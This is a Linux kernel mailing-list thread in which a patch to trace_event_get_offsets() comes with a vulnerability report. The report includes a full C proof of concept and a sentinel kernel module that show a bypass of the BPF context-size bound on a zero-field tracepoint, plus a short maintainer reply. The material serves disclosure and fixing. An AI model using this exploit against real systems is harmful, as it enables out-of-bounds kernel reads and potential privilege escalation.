mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list
@ 2026-10-15  8:51 Haoran Wang
  2026-10-15 11:57 ` Steven Rostedt
  0 siblings, 1 reply; 2+ messages in thread
From: Haoran Wang @ 2026-10-15  8:51 UTC (permalink / raw)
  To: rostedt, mhiramat
  Cc: linux-kernel, linux-trace-kernel, mathieu.desnoyers, haoranwangsec

From 715f4d7a8bbc7c8d480cc2d2731025f760476608 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Date: Thu, 15 Oct 2026 15:59:28 +0800
Subject: [PATCH] tracing: guard trace_event_get_offsets() against an empty
 fields list

trace_event_get_offsets() unconditionally dereferences the first entry
of the event class fields list via list_first_entry().  When a
tracepoint declares no event-specific fields, the list stays in its
static, self-pointing empty initialization, so list_first_entry()
returns the list head itself.  The following tail->offset + tail->size
then reads past struct trace_event_class, and the corrupted result is
used as the BPF context-size bound in __perf_event_set_bpf_prog(),
which lets context-reading BPF probes bypass the bound and be accepted.

Guard the list with list_empty() and return 0 (no accessible event
offset) when empty.  This prevents the out-of-bounds read and restores
a bound that rejects context-reading probes with -EACCES.

Reported-by: Haoran Wang <haoranwangsec@gmail.com>
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---

Full analysis and reproducer follow for reference (not part of the commit log):

I'd like to report an issue in kernel/trace/trace_events.c:246 (function
trace_event_get_offsets), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree.

1. Summary

trace_event_get_offsets() calls list_first_entry() on an event's
class->fields list with no list_empty() guard. For a tracepoint with zero
event-specific fields, class->fields is empty, so list_first_entry()
dereferences the list head itself and reads adjacent memory as
tail->offset/tail->size. The corrupted return value is then used as the
BPF context-size upper bound in __perf_event_set_bpf_prog()
(kernel/events/core.c:11658), allowing context-reading BPF programs to be
attached to a zero-field tracepoint when they should be rejected with
-EACCES. I reproduced this on 7.2.10 kernel: three context-reading BPF 
probes were all accepted (rc=0) where a fixed kernel returns EACCES.

2. Vulnerable code
- File: kernel/trace/trace_events.c:246
- Function: trace_event_get_offsets
- Misused API: list_first_entry

```c
// kernel/trace/trace_events.c:236-248
int trace_event_get_offsets(struct trace_event_call *call)
{
        struct ftrace_event_field *tail;
        struct list_head *head;

        head = trace_get_fields(call);          // = &call->class->fields
        /*
         * head->next points to the last field with the largest offset,
         * since it was added last by trace_define_field()
         */
        tail = list_first_entry(head, struct ftrace_event_field, link);   // :246  no empty check
        return tail->offset + tail->size;                                  // :247  deref (wild if empty)
}
```

The only runtime caller is __perf_event_set_bpf_prog()
(kernel/events/core.c:11655-11660):

```c
        if (is_tracepoint || is_syscall_tp) {
                int off = trace_event_get_offsets(event->tp_event);   // :11656
                if (prog->aux->max_ctx_offset > off)                  // :11658  bound check
                        return -EACCES;
        }
```

3. Root cause

class->fields is populated by event_define_fields() at event registration,
which iterates the event's fields_array (derived from TP_STRUCT__entry). A
tracepoint with an empty TP_STRUCT__entry has a fields_array containing
only the terminating sentinel (field->type == NULL), so
event_define_fields() never calls trace_define_field() and class->fields
stays at its INIT_LIST_HEAD empty state.

list_first_entry() expands to container_of(head->next, ...). On an empty
list head->next == head, so `tail` aliases the list head itself. Because
ftrace_event_field.link is the first member (offset 0), container_of
performs no offset adjustment: tail == &class->fields. Thus tail->offset
reads *(int*)(class+84) and tail->size reads *(int*)(class+88) -- both
past the end of the 72-byte struct trace_event_class, into adjacent mapped
kernel memory. The returned `off` is therefore corrupted (a kernel-pointer
fragment, large and/or negative as int).

That corrupted `off` is the sole bound for the BPF context-size check at
core.c:11658: `if (prog->aux->max_ctx_offset > off) return -EACCES`. With
off corrupted to a huge/negative value, the comparison is always false, so
a context-reading BPF program is wrongly accepted instead of rejected. On
a fixed kernel (off==0, e.g. from a list_empty()->return 0 path), any
context-reading program (max_ctx_offset >= 1) is correctly rejected with
EACCES.

The same file reads the same fields list safely at :226 with
list_for_each_entry (empty-safe); the :246 use of list_first_entry
(empty-unsafe) is an inconsistent oversight. Even a NULL check would not
help, because on an empty list list_first_entry() returns a non-NULL wild
pointer.

No in-tree tracepoint currently has zero event-specific fields (I scanned
all 1669 tracepoints' format files on a baseline kernel; all have >=1
event-specific field), so this is latent for in-tree events. However, the
TRACE_EVENT macro permits a custom zero-field tracepoint (e.g. an
out-of-tree module, the same way syzkaller registers custom events), which
creates the precondition. The defect itself lives in the unmodified
in-tree trace_event_get_offsets.

4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed. The vulnerable
list_first_entry at trace_events.c:246 and the bound check at core.c:11658
are unchanged. Reproduced on 7.2.10 kernel.

5. Trigger / Preconditions

Pure userspace, no hardware dependency. Requires CONFIG_BPF_SYSCALL,
CONFIG_TRACING, CONFIG_PERF_EVENTS (baseline built-in). Trigger:
perf_event_open(PERF_TYPE_TRACEPOINT, <zero-field-tracepoint-id>,
disabled=1), then BPF_PROG_LOAD a tracepoint program that reads ctx, then
ioctl(perf_fd, PERF_EVENT_IOC_SET_BPF, bpf_fd). The zero-field tracepoint
is created by a legitimate loadable custom-tracepoint module (an empty
TP_STRUCT__entry).

6. Proof of Concept

The reproduction runs on 7.2.10 kernel. A custom-tracepoint module
(zerofield_mod) registers a zero-field tracepoint (empty TP_STRUCT__entry)
and places an inert 64-byte 0x53 sentinel in .ref.data right after the
72-byte event_class global (GCC lays out same-section statics by
descending size), so the kernel's OOB read of class+84/class+88 picks up
0x53535353 instead of zero section padding. The sentinel is inert data --
it does not change kernel control flow or inject a bug; it only makes the
pre-existing OOB read's effect observable (off becomes non-zero instead of
silently zero, the latter being indistinguishable from a fixed kernel
returning 0).

Main userspace reproducer (trace_events_poc.c). Build: gcc -static -O2 -o
trace_events_poc trace_events_poc.c ; usage: ./trace_events_poc
<tracepoint_id> where tracepoint_id is read from
/sys/kernel/tracing/events/zerofield/zerofield_event/id:

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <linux/bpf.h>

static long bpf_sys(int cmd, union bpf_attr *attr, unsigned int size)
{
	return syscall(__NR_bpf, cmd, attr, size);
}

/*
 * Build a BPF_PROG_TYPE_TRACEPOINT program that reads *(u64 *)(ctx + off) and
 * returns 0. The ctx read forces the verifier to record
 * prog->aux->max_ctx_offset = off + 8 (verifier.c:6425), which is the value the
 * SET_BPF bound check compares against the corrupted `off`.
 */
static int load_ctx_reader_prog(int ctx_off)
{
	struct bpf_insn insns[] = {
		/* r0 = *(u64 *)(r1 + ctx_off)   -- r1 is ctx for tracepoint progs */
		{ .code = BPF_LDX | BPF_MEM | BPF_DW,
		  .dst_reg = BPF_REG_0, .src_reg = BPF_REG_1, .off = (short)ctx_off, .imm = 0 },
		/* r0 = 0 */
		{ .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 },
		/* exit */
		{ .code = BPF_JMP | BPF_EXIT },
	};
	char log[8192];
	union bpf_attr attr;

	memset(&attr, 0, sizeof(attr));
	memset(log, 0, sizeof(log));
	attr.prog_type = BPF_PROG_TYPE_TRACEPOINT;
	attr.insns = (unsigned long)insns;
	attr.insn_cnt = sizeof(insns) / sizeof(insns[0]);
	attr.license = (unsigned long)"GPL";
	attr.log_buf = (unsigned long)log;
	attr.log_size = sizeof(log);
	attr.log_level = 1;

	int fd = (int)bpf_sys(BPF_PROG_LOAD, &attr, sizeof(attr));
	if (fd < 0)
		fprintf(stderr, "  [load off=%d] BPF_PROG_LOAD failed: %s\n",
			ctx_off, strerror(errno));
	return fd;
}

static int open_tp_event(unsigned long tp_id)
{
	struct perf_event_attr pe;

	memset(&pe, 0, sizeof(pe));
	pe.size = sizeof(pe);
	pe.type = PERF_TYPE_TRACEPOINT;
	pe.config = tp_id;
	pe.sample_type = PERF_SAMPLE_RAW;
	pe.sample_period = 1;
	pe.disabled = 1;

	int fd = (int)syscall(__NR_perf_event_open, &pe, -1, 0, -1, PERF_FLAG_FD_CLOEXEC);
	if (fd < 0)
		perror("perf_event_open");
	return fd;
}

/* Try to attach a ctx-reading BPF prog to the tracepoint. Returns:
 *   1  = attach ACCEPTED  (off corrupted -> bound bypassed)
 *   0  = attach REJECTED with EACCES (off < max_ctx_offset)
 *  -1  = other error (perf/bpf open or load failure, non-EACCES errno)
 */
static int probe_offset(unsigned long tp_id, int ctx_off)
{
	int perf_fd = open_tp_event(tp_id);
	if (perf_fd < 0)
		return -1;

	int bpf_fd = load_ctx_reader_prog(ctx_off);
	if (bpf_fd < 0) {
		close(perf_fd);
		return -1;
	}

	int rc = ioctl(perf_fd, PERF_EVENT_IOC_SET_BPF, bpf_fd);
	int saved_errno = errno;
	int max_ctx_offset = ctx_off + 8;

	printf("  ctx_off=%-4d (max_ctx_offset=%-5d): SET_BPF rc=%d",
	       ctx_off, max_ctx_offset, rc);
	if (rc == 0)
		printf("  -> ACCEPTED\n");
	else if (saved_errno == EACCES)
		printf("  -> REJECTED (EACCES, off < %d)\n", max_ctx_offset);
	else
		printf("  -> REJECTED (errno=%d %s)\n", saved_errno, strerror(saved_errno));

	close(bpf_fd);
	close(perf_fd);

	if (rc == 0)
		return 1;
	if (saved_errno == EACCES)
		return 0;
	return -1;
}

int main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr, "usage: %s <tracepoint_id>\n", argv[0]);
		return 1;
	}
	unsigned long tp_id = strtoul(argv[1], NULL, 0);
	printf("[poc] zero-field tracepoint id=%lu\n", tp_id);
	printf("[poc] probing BPF ctx-reader attach (pure kernel, no instrumentation)\n");
	printf("[poc] on a FIXED kernel, every probe below MUST be REJECTED (EACCES)\n");
	printf("[poc]   because a zero-field event should yield off==0.\n");
	printf("[poc] on the BUGGY kernel, a corrupted (large/negative) off ACCEPTS\n");
	printf("[poc]   context reads that ought to be rejected -> bound bypass.\n\n");

	/*
	 * Sweep several ctx offsets. The smallest (8 -> max_ctx_offset=16) is the
	 * most sensitive: it discriminates as long as the corrupted off is not in
	 * [0,15]. A large offset (4088) being accepted is especially vivid proof.
	 * Any single ACCEPT among these proves the bug.
	 */
	static const int offsets[] = { 8, 248, 4088 };
	int any_accepted = 0, any_error = 0;

	for (unsigned i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) {
		int r = probe_offset(tp_id, offsets[i]);
		if (r == 1)
			any_accepted = 1;
		else if (r < 0)
			any_error = 1;
	}

	printf("\n[poc] === VERDICT ===\n");
	if (any_accepted) {
		printf("[poc] BUG TRIGGERED: a context-reading BPF program attached to a\n");
		printf("[poc] ZERO-field tracepoint. trace_event_get_offsets() returned a\n");
		printf("[poc] corrupted (non-zero) off via list_first_entry on the empty\n");
		printf("[poc] class->fields list (trace_events.c:246), bypassing the BPF\n");
		printf("[poc] context-size bound check (core.c:11658). On a fixed kernel\n");
		printf("[poc] (off==0) all such attaches are rejected with EACCES.\n");
		return 0;
	}
	if (any_error) {
		printf("[poc] INCONCLUSIVE: setup errors prevented probing.\n");
		return 2;
	}
	printf("[poc] NOT TRIGGERED via this path: every probe was rejected (EACCES).\n");
	printf("[poc] This is the fixed-kernel behavior (off==0). On the buggy kernel\n");
	printf("[poc] it means the corrupted off happened to fall in [0,15] (very\n");
	printf("[poc] unlikely for arbitrary .data bytes) -- see analysis doc.\n");
	return 3;
}
```

The companion kernel module (zerofield_mod.c) is small. Its essential
parts are an inert sentinel and a zero-field tracepoint:

```c
/* inert sentinel: 64 bytes of 0x53 in .ref.data, declared before the trace
 * header so it sorts AFTER the 72-byte event_class (GCC descending-size layout).
 * The kernel's OOB read of class+84 / class+88 then lands inside this sentinel
 * -> off = 0x53535353 + 0x53535353 = 0xA6A6A6A6 (non-zero). */
static unsigned char __refdata __used __aligned(8) oob_sentinel[64] = {
	[0 ... 63] = 0x53
};
#define CREATE_TRACE_POINTS
#include "zerofield_tp.h"   /* TRACE_EVENT(zerofield_event, TP_PROTO(int dummy),
                               TP_ARGS(dummy), TP_STRUCT__entry(  // empty
                               ), ...) -> empty fields_array -> class->fields stays empty */
```


dmesg after insmod zerofield_mod.ko:

```
zerofield_mod: zero-field tracepoint 'zerofield_event' registered
oob_sentinel: event_class=ffffffffa02011a0 sentinel=ffffffffa02011e8 gap=72
oob_sentinel: class+84=0x53535353 class+88=0x53535353 -> off=-1499027802 (0xa6a6a6a6)
oob_sentinel: off non-zero -> BPF ctx bound bypass observable
```

The dump shows class+48/+56 (fields.next/prev) both equal a02011d0 =
&fields (event_class+0x30), i.e. self-pointing -> empty list, confirming
the precondition. The zerofield_event format file lists only common_*
fields (no event-specific field), corroborating the empty class->fields.

BPF context-size bound bypass probes (on a fixed kernel every probe below
must be REJECTED with EACCES, because a zero-field event should yield
off==0):

```
ctx_off=8    (max_ctx_offset=16  ): SET_BPF rc=0  -> ACCEPTED
ctx_off=248  (max_ctx_offset=256 ): SET_BPF rc=0  -> ACCEPTED
ctx_off=4088 (max_ctx_offset=4096): SET_BPF rc=0  -> ACCEPTED
```

With off corrupted to 0xa6a6a6a6 (as u32 ~2.79e9), none of 16/256/4096
exceeds it, so all three context-reading attaches are accepted. A BPF
program reading ctx+4088 (8 KB) is accepted on a tracepoint that should
permit no context read at all.

7. Impact

Logic/information bug: the BPF context-size bound check is bypassed,
allowing a BPF program attached to a zero-field tracepoint to read
tracepoint context beyond what should be permitted. This is a BPF-verifier
context-bound bypass (a potential privilege-escalation surface). It does
not normally crash, because the wild pointer lands in mapped
class-adjacent memory, which makes it more subtle than a NULL deref and
harder to surface naturally.

 kernel/trace/trace_events.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/kernel/trace/trace_events.c b/kernel/trace/trace_events.c
index 9c62202..8c3810f 100644
--- a/kernel/trace/trace_events.c
+++ b/kernel/trace/trace_events.c
@@ -239,6 +239,8 @@ int trace_event_get_offsets(struct trace_event_call *call)
 	struct list_head *head;
 
 	head = trace_get_fields(call);
+	if (list_empty(head))
+		return 0;
 	/*
 	 * head->next points to the last field with the largest offset,
 	 * since it was added last by trace_define_field()
-- 
2.43.0



^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list
  2026-10-15  8:51 [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list Haoran Wang
@ 2026-10-15 11:57 ` Steven Rostedt
  0 siblings, 0 replies; 2+ messages in thread
From: Steven Rostedt @ 2026-10-15 11:57 UTC (permalink / raw)
  To: Haoran Wang; +Cc: mhiramat, linux-kernel, linux-trace-kernel, mathieu.desnoyers

On Thu, 15 Oct 2026 16:51:58 +0800
Haoran Wang <haoranwangsec@gmail.com> wrote:

> 6. Proof of Concept
> 
> The reproduction runs on 7.2.10 kernel. A custom-tracepoint module
> (zerofield_mod) registers a zero-field tracepoint (empty TP_STRUCT__entry)

The real fix is to reject any event with an empty TP_STRUCT__entry.

-- Steve


> and places an inert 64-byte 0x53 sentinel in .ref.data right after the
> 72-byte event_class global (GCC lays out same-section statics by
> descending size), so the kernel's OOB read of class+84/class+88 picks up
> 0x53535353 instead of zero section padding. The sentinel is inert data --
> it does not change kernel control flow or inject a bug; it only makes the
> pre-existing OOB read's effect observable (off becomes non-zero instead of
> silently zero, the latter being indistinguishable from a fixed kernel
> returning 0).


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-15 11:57 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-10-15  8:51 [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list Haoran Wang
2026-10-15 11:57 ` Steven Rostedt

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®